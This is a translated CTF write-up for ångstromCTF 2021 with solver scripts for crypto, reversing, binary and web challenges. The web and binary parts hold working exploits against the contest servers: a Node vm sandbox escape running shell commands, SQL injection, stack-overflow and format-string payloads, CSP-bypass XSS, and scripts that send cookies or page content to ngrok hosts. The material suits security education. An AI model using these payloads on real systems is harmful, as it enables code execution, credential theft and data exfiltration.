ångstromCTF 2021 WriteUps

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

I participated in ångstromCTF 2021 alone as a practice, and ended up in 27th place. Some of the challenges were quite interesting, so I decided to document the solutions. I will gradually fill in the parts that I haven't written yet.

Misc

Archaic

Simple tar extraction.

Fish

Can be solved instantly with StegSolve.

Float On

To represent a double-precision floating-point number as a long, you can use: bytes_to_long(struct.pack('>d', float('nan'))) or similar methods.

The first question is 0.0, the second is nan.

For the third question, using z3, you can determine it is nan or -inf, but since NaN is not valid, the answer is only -inf.

from z3 import *

x = FP('x', Float64())
solve(x + 1 == x, x * 2 == x)

The fourth and fifth questions can also be solved directly using z3.

CaaSio SE

This challenge requires escaping Node.js's built-in vm module while also passing AST-level checks and length restrictions.

First, you need to find a way to bypass the protection of the code below. Because it uses Object.create(null), you can't escape directly from the prototype chain.

const ctx = Object.create(null)
vm.runInNewContext(js, ctx))
console.log(ctx.x)

However, the key is to exploit the fact that it accesses ctx.x. This can be hooked using Object.defineProperty, and then you can obtain the foreign object from arguments.callee.caller and find Function from the prototype chain to escape.

In general, if you define get as a regular function to access arguments.callee.caller, you may encounter a Strict Mode Error. However, if you define it using Function, you can bypass this. An example is as follows:

const vm = require('vm')
const payload = String.raw`
Object.defineProperty(this, 'x', {
	get: Function('return arguments.callee.caller.constructor.constructor("return process.mainModule.require(\\"child_process\\").execSync(\\"id\\")+1")()')
})
`
const ctx = Object.create(null)
vm.runInNewContext(payload, ctx)
console.log(ctx.x)

Then, you can notice that the AST check does not verify if the object key is valid when it is computed, so ({[<expr>]:1}) can bypass it. However, due to various length restrictions, you need to find a way to bypass them. The final payload is as follows:

const payload = String.raw`
(z='return arguments.callee.caller.constructo'+'r.constructo'+'r("return process.mainModule.require(\\"child_'+'process\\").execSync(\\"cat flag.txt\\")+1")()',{[(d=Object.defineProperty,a=Function)]:1,[d(this,'x',{get:a(z)})]:1})
`.slice(1,-1)
console.log(payload.length)
console.log(payload)

Crypto

Relatively Simple Algorithm

It's a straightforward RSA problem. All the necessary parameters are provided, so it's simple.

from Crypto.Util.number import long_to_bytes

n = 113138904645172037883970365829067951997230612719077573521906183509830180342554841790268134999423971247602095979484887092205889453631416247856139838680189062511282674134361726455828113825651055263796576482555849771303361415911103661873954509376979834006775895197929252775133737380642752081153063469135950168223
p = 11556895667671057477200219387242513875610589005594481832449286005570409920461121505578566298354611080750154513073654150580136639937876904687126793459819369
q = 9789731420840260962289569924638041579833494812169162102854947552459243338614590024836083625245719375467053459789947717068410632082598060778090631475194567
e = 65537
c = 108644851584756918977851425216398363307810002101894230112870917234519516101802838576315116490794790271121303531868519534061050530562981420826020638383979983010271660175506402389504477695184339442431370630019572693659580322499801215041535132565595864123113626239232420183378765229045037108065155299178074809432

d = pow(e, -1, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))

Exclusive Cipher

For some reason, xortool didn't work, so I wrote a script using z3 to solve it.

from z3 import *

ct = bytes.fromhex(
    "ae27eb3a148c3cf031079921ea3315cd27eb7d02882bf724169921eb3a469920e07d0b883bf63c018869a5090e8868e331078a68ec2e468c2bf13b1d9a20ea0208882de12e398c2df60211852deb021f823dda35079b2dda25099f35ab7d218227e17d0a982bee7d098368f13503cd27f135039f68e62f1f9d3cea7c"
)


def solve(actf_idx):
    KL = 5
    key = [BitVec(f"k_{i}", 8) for i in range(KL)]
    sol = Solver()
    pt = []
    for i in range(len(ct)):
        pt.append(ct[i] ^ key[i % KL])
    for x in pt:
        sol.add(And(0x20 <= x, x <= 0x7E))
    actf = b"actf{"
    sol.add(And([pt[actf_idx + i] == actf[i] for i in range(len(actf))]))
    if sol.check() == sat:
        m = sol.model()
        key = [m[k].as_long() for k in key]
        pt = []
        for i in range(len(ct)):
            pt.append(ct[i] ^ key[i % KL])
        print(bytes(pt))


for i in range(len(ct) - 4):
    solve(i)

Keysar v2

A simple Substitution Cipher. You can use this website to automatically solve it based on frequency.

sosig

Classic Wiener's attack.

Home Rolled Crypto

The key to this challenge is that there is no shifting operation during the encryption process, meaning each byte at each position is fixed. So, you can directly build a table to solve it.

from pwn import *

BLOCK_SIZE = 16


conn = remote("crypto.2021.chall.actf.co", 21602)


def encrypt(pt):
    conn.sendlineafter(b"Would you like to encrypt [1], or try encrypting [2]? ", "1")
    conn.sendlineafter(b"What would you like to encrypt:", pt.hex())
    return bytes.fromhex(conn.recvline().decode().strip())


ALL = b"".join([bytes([i]) * BLOCK_SIZE for i in range(256)])
ALL_CT = encrypt(ALL)


def build_table():
    tbl = {}
    for i in range(256):
        pt = bytes([i]) * BLOCK_SIZE
        idx = ALL.index(pt)
        ct = ALL_CT[idx : idx + len(pt)]
        for j in range(BLOCK_SIZE):
            tbl[(j, i)] = ct[j]
    return tbl


def encrypt_with_table(pt, tbl):
    s = []
    for i in range(len(pt)):
        s.append(tbl[(i % BLOCK_SIZE, pt[i])])
    return bytes(s)


table = build_table()
conn.sendlineafter(b"Would you like to encrypt [1], or try encrypting [2]? ", "2")
for _ in range(10):
    conn.recvuntil(b"Encrypt this: ")
    pt = bytes.fromhex(conn.recvline().decode().strip())
    ct = encrypt_with_table(pt, table)
    conn.sendline(ct.hex())
conn.interactive()

Follow the Currents

Since the entire key stream is only related to a two-byte key, you can brute-force it.

import zlib

with open("enc", "rb") as f:
    ct = f.read()


def keystream(key):
    index = 0
    while 1:
        index += 1
        if index >= len(key):
            key += zlib.crc32(key).to_bytes(4, "big")
        yield key[index]


for a in range(256):
    for b in range(256):
        k = keystream(bytes([a, b]))
        pt = []
        for x in ct:
            pt.append(x ^ next(k))
        flag = bytes(pt)
        if b"actf" in flag:
            print(flag)
            exit()

I'm so Random

The generated numbers are the result of multiplying two custom PRNG results. By factoring the numbers and using them as seeds in the PRNG, you can see if they generate the subsequent numbers correctly. I tested with two additional numbers to ensure the seeds were correct, then output the predicted numbers.

from sage.all import divisors

a = 3469929343550880
b = 559203964877745
c = 4033819243757304


def get_pairs(n):
    for d in divisors(n):
        if d * d > n:
            break
        yield d, n // d


class Generator:
    DIGITS = 8

    def __init__(self, seed):
        self.seed = seed
        # assert(len(str(self.seed)) == self.DIGITS)

    def getNum(self):
        self.seed = int(
            str(self.seed ** 2).rjust(self.DIGITS * 2, "0")[
                self.DIGITS // 2 : self.DIGITS + self.DIGITS // 2
            ]
        )
        return self.seed


for s1, s2 in get_pairs(a):
    g1 = Generator(s1)
    g2 = Generator(s2)
    if g1.getNum() * g2.getNum() == b:
        if g1.getNum() * g2.getNum() == c:
            print(s1, s2)
            print("predict:")
            print(g1.getNum() * g2.getNum())
            print(g1.getNum() * g2.getNum())

Circle of Trust

You are given three points, and from the Circle in the problem and the source code, you can see that they are three points on a circle, with the center being the key and iv. Knowing three points can reconstruct a fixed circle, so the only issue left is handling decimal precision. This can be done by multiplying by a large integer and then dividing back.

from decimal import Decimal, getcontext

getcontext().prec = 50
MULT = 10 ** 10

p1 = (
    Decimal("45702021340126875800050711292004769456.2582161398"),
    Decimal("310206344424042763368205389299416142157.00357571144"),
)
p2 = (
    Decimal("55221733168602409780894163074078708423.359152279"),
    Decimal("347884965613808962474866448418347671739.70270575362"),
)
p3 = (
    Decimal("14782966793385517905459300160069667177.5906950984"),
    Decimal("340240003941651543345074540559426291101.69490484699"),
)


def s_mul(n, p):
    return (int(n * p[0]), int(n * p[1]))


def solve_circle(p1, p2, p3):
    from sage.all import var, solve

    x = var("x")
    y = var("y")
    a = var("a")
    b = var("b")
    r = var("r")
    circle = (x - a) ** 2 + (y - b) ** 2 == r ** 2
    eq1 = circle.subs(x == p1[0]).subs(y == p1[1])
    eq2 = circle.subs(x == p2[0]).subs(y == p2[1])
    eq3 = circle.subs(x == p3[0]).subs(y == p3[1])
    return solve([eq1, eq2, eq3], a, b, r)


pp1 = s_mul(MULT, p1)
pp2 = s_mul(MULT, p2)
pp3 = s_mul(MULT, p3)
sol = solve_circle(pp1, pp2, pp3)
a = int(sol[1][0].rhs())
b = int(sol[1][1].rhs())
print(a, b)

from Crypto.Cipher import AES

key = (a // MULT).to_bytes(16, byteorder="big")
iv = (b // MULT).to_bytes(16, byteorder="big")
ct = bytes.fromhex(
    "838371cd89ad72662eea41f79cb481c9bb5d6fa33a6808ce954441a2990261decadf3c62221d4df514841e18c0b47a76"
)
print(AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct))

Some people converted the problem to a Lattice problem to solve it...

Substitution

You can input any number vv to get the result of f(v)=vna0+vn1a1++anmod691f(v)=v^na_0+v^{n-1}a_1+\cdots+a_n\mod{691}, where a0ana_0\cdots a_n are the flag characters. So, by obtaining enough (v,f(v))(v,f(v)) pairs, you can solve the linear system using matrices to get the answer. The length can be guessed and is not very important.

from pwn import *
from sage.all import Matrix, Zmod, vector
from functools import reduce

# conn = process(["python", "chall.py"])
conn = remote("crypto.2021.chall.actf.co", 21601)


def get_num(n):
    conn.sendlineafter(b"> ", str(n))
    return int(conn.recvline().decode().strip().split(" ")[-1])


MXLEN = 50
nums = [get_num(i) for i in range(MXLEN)]


def solve(flag_len):
    mat = []
    for i in range(flag_len):
        mat.append([pow(i, j, 691) for j in range(flag_len)][::-1])
    M = Matrix(Zmod(691), mat)
    assert M.rank() == flag_len
    sol = M.solve_right(vector(nums[:flag_len]))
    if all(0 <= x < 256 for x in sol):
        flag = bytes(sol.list())
        if b"actf{" in flag:
            print(flag)
            exit()


for i in range(5, MXLEN):
    solve(i)

Another method is to note that f(v)f(v) is a polynomial. Once you have enough (v,f(v))(v,f(v)) pairs, you can use Lagrange interpolation to find the coefficients and get the flag. Sage's interpolation documentation

Oracle of Blair

In CBC mode, the decrypt iv comes from the previous block's ciphertext. By controlling the iv, you can make it decrypt 'a'*15 + '?', where ? is the first character of the flag. Then, brute-force the ? to find its value, and repeat for the remaining characters.

import string
from pwn import remote, process

# conn = process(["python", "ang_oracle_chall.py"])
conn = remote("crypto.2021.chall.actf.co", 21112)


def do_oracle(ct):
    conn.sendlineafter(b"give input: ", ct.hex())
    return bytes.fromhex(conn.recvline().decode().strip())


def split_blocks(bs):
    blks = []
    for i in range(0, len(bs), 16):
        blks.append(bs[i : i + 16])
    return blks


MAX_LEN = 64
TARGET_BLK = (MAX_LEN // 16) - 1
flag = b"actf{"
while True:
    pfx = b"\x00" * (MAX_LEN - 1 - len(flag))
    target = split_blocks(do_oracle(pfx + b"{}"))[TARGET_BLK]
    for c in string.printable:
        cur = split_blocks(do_oracle(pfx + flag + c.encode()))[TARGET_BLK]
        if cur == target:
            flag += c.encode()
            break
    print(flag)
    if c == "}":
        break

Thunderbolt

Initially, I tried to reverse-engineer it but didn't succeed. Later, I tried to pwn it by inputting a large number of characters, and surprisingly, the flag appeared. After asking the challenge author, I found out it was actually RC4, but it used this xor swap in the swap part:

a ^= b
b ^= a
a ^= b

This swap only works when a!=b. If a==b, it sets both to 0. In RC4, there is a chance of swapping two identical values, and the longer the key, the higher the probability. In this case, the key stream is likely to become almost all 0s, so the xor result is still the original flag.

python -c 'print("a"*30000)' | nc crypto.2021.chall.actf.co 21603 | python -c 'print(bytes.fromhex(input()[27:]))'

Rev

FREE FLAGS!!1!!

Opening it with IDA reveals the result immediately.

Jailbreak

Using ltrace, you can see which strings need to be input. However, you will soon get stuck in an infinite loop. Opening it with IDA reveals that the strings are obfuscated. I used angr to hook and print the strings.

After comparing with IDA, you can see that it changes a variable based on pressing the red or green button. The final value must be 1337, and then input bananarama to get the flag.

import angr


def bv2bytes(bv):
    h = str(bv).split(" ")[1]
    if h.startswith("0x"):
        h = h[2:]
    if h.endswith(">"):
        h = h[:-1]
    try:
        return bytes.fromhex(h)
    except:
        return bv


inp = b"""look around
pick the snake up
throw the snake at kmh
knock on the wall
pry the bars open
look around
press the red button
press the green button
press the red button
press the red button
press the green button
press the green button
press the green button
press the red button
press the red button
press the green button
bananarama
"""

proj = angr.Project("./jailbreak")


def dump_strings():
    i = 0
    global inp
    inp = b"\n" * 5

    @proj.hook(0x4015A0, length=0)
    def hook(state):
        nonlocal i
        print(i)
        # print(state.regs.rdi)
        state.regs.rdi = i
        if i < 29:
            i += 1
        else:
            exit()

    @proj.hook(0x401610, length=0)
    def hook_ret(state):
        print(bv2bytes(state.memory.load(state.regs.rax, 300)))


def debug():
    @proj.hook(0x4011CC, length=0)
    def hook_ret(state):
        print("r12d", state.regs.r12d)

    @proj.hook(0x4015A0, length=0)
    def hook(state):
        print("rdi", state.regs.rdi)

dump_strings() # Dump strings
# debug() # Debug whether value if correct

st = proj.factory.full_init_state(
    args=["./jailbreak"], add_options=angr.options.unicorn, stdin=inp
)
sm = proj.factory.simulation_manager(st)
sm.run()

Infinity Gauntlet

This challenge involves writing a script after examining it with IDA. For solving unknowns, I used z3 and eval out of convenience.

from pwn import process, remote
from z3 import *
from tqdm import tqdm
import re

FLAG_RGX = re.compile(r"[^\u0000{}]+?{[^\u0000{}]+?}")


def foo(a, b):
    return a ^ (b + 1) ^ 1337


def bar(a, b, c):
    return a + b * (c + 1)


def solve(equ):
    # A lazy way to solve it
    x = BitVec("x", 32)
    s = Solver()
    s.add(eval(equ.replace("?", "x").replace("=", "==")))
    assert s.check() == sat
    m = s.model()
    return m[x].as_long()


conn = process("./infinity_gauntlet")
# conn = remote('shell.actf.co', 21700)
conn.recvline()
conn.recvline()

flag = ["\0"] * 100
for rnd in tqdm(range(1, 1000)):
    conn.recvline()
    equ = conn.recvline().strip().decode()
    ans = solve(equ)
    if rnd > 49:
        idx = (ans >> 8) - rnd
        c = chr((ans ^ (idx * 17)) & 0xFF)
        if idx < 0:
            continue
        flag[idx] = c
        if FLAG_RGX.match("".join(flag)):
            break
    conn.sendline(str(ans))
    conn.recvline()

print(FLAG_RGX.match("".join(flag)).group(0))

Revex

My approach was to understand the regex, read it part by part, and write it as z3 conditions. After solving it, I called js to verify.

import subprocess
from z3 import *

RE = r"^(?=.*re)(?=.{21}[^_]{4}\}$)(?=.{14}b[^_]{2})(?=.{8}[C-L])(?=.{8}[B-F])(?=.{8}[^B-DF])(?=.{7}G(?<pepega>..).{7}t\k<pepega>)(?=.*u[^z].$)(?=.{11}(?<pepeega>[13])s.{2}(?!\k<pepeega>)[13]s)(?=.*_.{2}_)(?=actf\{)(?=.{21}[p-t])(?=.*1.*3)(?=.{20}(?=.*u)(?=.*y)(?=.*z)(?=.*q)(?=.*_))(?=.*Ex)"

flag = [BitVec(f"f_{i}", 8) for i in range(26)]
sol = Solver()

for c in flag:
    sol.add(And(0x20 <= c, c <= 125))

# (?=.{21}[^_]{4}\}$)
for i, c in enumerate(b"actf{"):
    sol.add(flag[i] == c)
for i in range(21, 21 + 4):
    sol.add(flag[i] != ord("_"))
sol.add(flag[25] == ord("}"))

# (?=.{14}b[^_]{2})
sol.add(flag[14] == ord("b"))
for i in range(15, 15 + 2):
    sol.add(flag[i] != ord("_"))

# (?=.{8}[C-L])(?=.{8}[B-F])(?=.{8}[^B-DF])
sol.add(flag[8] == ord("E"))

# (?=.{7}G(?<pepega>..).{7}t\k<pepega>)
sol.add(flag[7] == ord("G"))
pepega = flag[8:10]
sol.add(flag[17] == ord("t"))
for a, b in zip(pepega, flag[18:20]):
    sol.add(a == b)

# (?=.{11}(?<pepeega>[13])s.{2}(?!\k<pepeega>)[13]s)
pepeega = flag[11]
sol.add(Or(pepeega == ord("1"), pepeega == ord("3")))
sol.add(flag[12] == ord("s"))
sol.add(flag[15] != pepeega)
sol.add(Or(flag[15] == ord("1"), flag[15] == ord("3")))
sol.add(flag[16] == ord("s"))

# (?=.{21}[p-t])
sol.add(And(ord("p") <= flag[21], flag[21] <= ord("t")))

# (?=.{20}(?=.*u)(?=.*y)(?=.*z)(?=.*q)(?=.*_))
for c in b"uyzq_":
    sol.add(Or([f == c for f in flag[20:]]))

# (?=.*Ex)
sol.add(
    Or(
        [
            And(flag[i] == ord("E"), flag[i + 1] == ord("x"))
            for i in range(len(flag) - 1)
        ]
    )
)

# (?=.*re)
sol.add(
    Or(
        [
            And(flag[i] == ord("r"), flag[i + 1] == ord("e"))
            for i in range(len(flag) - 1)
        ]
    )
)

# (?=.*_.{2}_)
sol.add(
    Or(
        [
            And(flag[i] == ord("_"), flag[i + 3] == ord("_"))
            for i in range(len(flag) - 3)
        ]
    )
)

cand = []
while sol.check() == sat:
    m = sol.model()
    s = bytes([m[f].as_long() for f in flag])
    cand.append(s.decode())
    sol.add(Or([a != b for a, b in zip(flag, s)]))

for c in cand:
    r = subprocess.check_output(["node", "-e", f'console.log(/{RE}/.test("{c}"))'])
    if b"true" in r:
        print(c)

lambda lambda

The intended solution for this challenge is to use lambda calculus, but since I don't know it, I tried to find a pattern and brute-force the flag.

from Crypto.Util.number import long_to_bytes
from subprocess import check_output
from multiprocessing.dummy import Pool
import string
from itertools import product


def get_ct(pt):
    # pypy is faster
    ret = check_output(["pypy3", "./ang_lambda_stdin.py"], input=pt)
    return long_to_bytes(int(ret.decode().strip()))


def removeprefix(self: bytes, prefix: bytes, /) -> bytes:
    if self.startswith(prefix):
        return self[len(prefix) :]
    else:
        return self[:]


chrs = (
    "{_}" + string.digits + string.ascii_lowercase
).encode()  # string.printable.encode()

# Local testing: flag{123abcsdf}
# flag = b""
# ct = long_to_bytes(565565770377169444337452969279319838)

flag = b"actf{"
ct = long_to_bytes(2692665569775536810618960607010822800159298089096272924)
while True:
    l = len(removeprefix(ct, get_ct(flag)))
    pool = Pool(16)
    for c, ct2 in zip(chrs, pool.imap(get_ct, map(lambda c: flag + bytes([c]), chrs))):
        if len(removeprefix(ct, ct2)) < l:
            flag += bytes([c])
            break
    else:
        print("brute force two")
        for (c, d), ct2 in zip(
            product(chrs, repeat=2),
            pool.imap(
                get_ct,
                map(lambda x: flag + bytes([x[0], x[1]]), product(chrs, repeat=2)),
            ),
        ):
            if len(removeprefix(ct, ct2)) < l:
                flag += bytes([c, d])
                break
    print(flag)
    pool.terminate()
    if flag.endswith(b"}"):
        break

Binary

Secure Login

It compares strcmp with the output from /dev/urandom, and the probability of the first byte being \0 is 1256\frac{1}{256}. So, keep inputting an empty string until it succeeds.

tranquil

Debug with gdb to calculate the offset of the return address, then modify ret.

printf "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x11\x40\x00\n" | nc shell.actf.co 21830

Sanity Checks

Again, debug with gdb, then change the local variables to the correct values to get the flag.

printf 'password123\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x11\x00\x00\x00=\x00\x00\x00\xf5\x00\x00\x007\x00\x00\x002\x00\x00\x00\n' | nc shell.actf.co 21303

stickystacks

Use printf to retrieve the flag from the stack.

for i in $(seq 31 45); do printf "%%%d\$p\n" $i | nc shell.actf.co 21820 | grep -o '0x.*' | python -c 'print(int(input(),16).to_bytes(8,byteorder="little"))'; done

Web

Jar

Use pickle to read __main__.flag. The payload is (c__main__\nflag\nl..

Sea of Quills

Direct SQLi works. You can find the table through injection.

curl "https://seaofquills.2021.chall.actf.co/quills" --data "limit=100&offset=0&cols=url,desc,(select * from flagtable)"

nomnomnom

You can notice a simple XSS in the challenge, but it is protected by CSP with a nonce. You can use an unclosed <script to treat the subsequent nonce="..." as your attribute.

However, it doesn't work in Chrome. The XSSBot specifies using Firefox, and testing it there shows it works, so you can retrieve the flag.

await fetch("https://nomnomnom.2021.chall.actf.co/record", {
  "headers": {
    "content-type": "application/json"
  },
  "body": JSON.stringify({name:'<script src="data:application/javascript,alert() "',score:87}),
  "method": "POST"
}).then(r=>r.text())

Reaction.py

This challenge allows you to create two components, and there are many types of components. You can find that only the freq component is not escaped, and it prints characters in order of frequency. You can use this to construct <script> for XSS.

However, the freq component has character frequency restrictions, making it difficult to create a long payload. You can combine it with the text component to include the js content, filtering out other HTML with comments. The closing part can use the recaptcha tag's </script>.

def generate_payload(payload):
    s = ""
    for i, c in enumerate(payload):
        s += c * (i + 1)
    return s

reset()
add_component("freq", generate_payload("<script>/*"))
add_component(
    "text",
    "*/alert(1)//",
)

For example, the above script generates:

<body><p>All letters: <script>/*<br>Most frequent: '*'x10</p><p>*/alert(1)//</p><script src="https://www.google.com/recaptcha/api.js" async defer></script></body>

To retrieve the flag, use fetch('/?fakeuser=admin').

Note: The string must use the ` character instead of ' or ", as flask escapes them...

Sea of Quills 2

Similar to the previous challenge, but with length restrictions and the flag being blacklisted. However, spaces around symbols can be omitted, and table names are case-insensitive, making it easy to bypass.

curl "https://seaofquills-two.2021.chall.actf.co/quills" --data "limit=100&offset=0&cols=(select*from FLAGTABLE)"

According to the challenge author, the intended solution is to exploit Ruby's regex being multiline by default, so ^ and $ match only one line. Inserting a \n can bypass the regex check.

curl "https://seaofquills-two.2021.chall.actf.co/quills" --data "limit=99&cols=(SELECT url&offset=0%0A),* from flagtable"

Spoofy

The goal is to make X-Forwarded-For become 1.3.3.7, ... , 1.3.3.7 to get the flag. The challenge is hosted on Heroku.

I set up a flask server on Heroku to print the X-Forwarded-For value. Testing revealed that sending two X-Forwarded-For headers bypasses it. The payload is as follows.

curl "https://actf-spoofy.herokuapp.com/" -H 'X-Forwarded-For: 1.3.3.7' -H 'X-Forwarded-For: a, 1.3.3.7'

For more details, see the challenge author's WriteUp: https://hackmd.io/@aplet123/SJcgJRoHu

Jason

The intended solution initially didn't work for me. The method is to use a form to submit passcode=; SameSite=None; Secure to /passcode, then use jsnop and referrerPolicy="no-referrer" to get the flag.

index.php:

<script>
function load(data) {
	fetch('/?data=' + encodeURIComponent(data.items[0])).then(close)
}
open('cookie.php','_blank')
const s=document.createElement('script')
s.referrerPolicy='no-referrer'
s.src='https://jason.2021.chall.actf.co/flags?callback=load'
setTimeout(()=>document.body.appendChild(s), 5000)
setInterval(()=>fetch('/ping'),10)
</script>
<img id=img src="https://deelay.me/10000/http://example.com">

cookie.php:

<form id=f action="https://jason.2021.chall.actf.co/passcode" method=POST>
<input name=passcode value='; SameSite=None; Secure;'>
</form>
<script>f.submit()</script>

However, this wasn't my initial solution. Since referrerPolicy didn't work for me, I used SQLi from Sea of Quills for XSS. I set the cookie with a domain, making it ; SameSite=None; Secure; Domain=2021.chall.actf.co, then used Sea of Quills' XSS to read document.cookie.

index.php:

<script>
open('/xss.php?script=xss.js','_blank')
for(var i=0;i<1000000000;i++);
open('/xss.php?script=xss2.js','_blank')
setInterval(()=>{
	fetch('https://example.com')
},10)
</script>
<img id=img src="https://deelay.me/10000/http://example.com">

xss.php:

<form id=fr action="https://seaofquills.2021.chall.actf.co/quills" method="POST">
<input name=limit value=1>
<input name=offset value=0>
<input name=cols>
</form>
<script>
const payload='<script src=https://e96adc70eaec.ngrok.io/<?php echo $_GET['script']; ?>></'+'script>'
const params=''+payload.split('').map(x=>x.charCodeAt(0))
const s=`url,desc,(select char(${params}))`
fr.cols.value=s
fr.submit()
</script>

xss.js:

const fr=document.createElement('form')
fr.action='https://jason.2021.chall.actf.co/passcode'
fr.method='POST'
const ps=document.createElement('input')
ps.name='passcode'
ps.value='; SameSite=None; Secure; Domain=2021.chall.actf.co'
fr.appendChild(ps)
document.body.appendChild(fr)
fr.submit()

xss2.js:

fetch('https://e96adc70eaec.ngrok.io/report='+btoa(document.cookie))

After using this method, the challenge author PMed me to ask how I did it. After explaining, they said it was an overcomplicated unintended solution but interesting.

Watered Down Watermark as a Service

The challenge provides a /screenshot endpoint using puppeteer to browse and take screenshots. Another endpoint, /add-flag, reads your BSON and inserts the flag, then returns it. Due to BSON format and nosniff, you can't construct BSON as HTML for XSS.

I used the unintended solution from DiceCTF 2021's unintended solution (GitHub mirror link). I believe many others used this method too.

This method involves port scanning localhost to find puppeteer's debugging protocol port. Then, browse http://localhost:port/json/new?file:///app/flag.txt to get a websocket URL (appearing in the screenshot). Write a page to use the websocket to communicate and retrieve the flag.

probe.php:

<script>
const u = new URL(location.href)
const start = parseInt(u.searchParams.get('start'))
const step = parseInt(u.searchParams.get('step'))
let anySuccess = false
function probeError(port) {
  return new Promise(resolve=>{
    let script = document.createElement('script');
    script.src = `http://localhost:${port}/`;
    script.onload = () => {
      fetch('/report'+port)
      resolve(true)
    }
    script.onerror = () => resolve(false);
    document.head.appendChild(script);
  })
}
for(let i=start;i<start+step;i++){
    probeError(i)
}
u.searchParams.set('start',start+step)
u.searchParams.set('step',step)
if(start+step<40000){
  fetch('https://wdwaas.2021.chall.actf.co/screenshot?url='+encodeURIComponent(u.toString()))
}
</script>

I used this to port scan, mainly in the 30000-40000 range, as the port is usually in this range.

After finding it, use the following solve.php to communicate with the protocol and retrieve the flag.

<script>
window.ws = new WebSocket('ws://127.0.0.1:32881/devtools/page/43C135B187E801FF9552F626E278BAFB') // from screenshot
ws.onerror = (e=>{document.writeln('error')})
ws.onmessage = (e=>{
  document.writeln("<p>"+e.data+"</p>");
})


ws.onopen = ()=>{
	ws.send(JSON.stringify({
	  id:1,
	  method:"Runtime.evaluate",
	  params:{
	  	expression:"fetch('https://80a3b922feb5.ngrok.io/flag', {method:'POST', body:document.body.innerHTML})"
	  }
	}))
}
</script>

For the intended solution, I initially thought of a similar approach. I saw here that <img> doesn't care about nosniff. My idea was to construct svg using BSON and put the flag in <text>, but testing showed it didn't work, and I wasn't sure why.

The challenge author's solution uses bmp. By exploiting bmp's structure, the flag's bits become black and white pixels, which can be converted back to the flag.

For details, see: https://hackmd.io/@lamchcl/BJpOo2Or\_#Watered-Down-Watermark-as-a-Service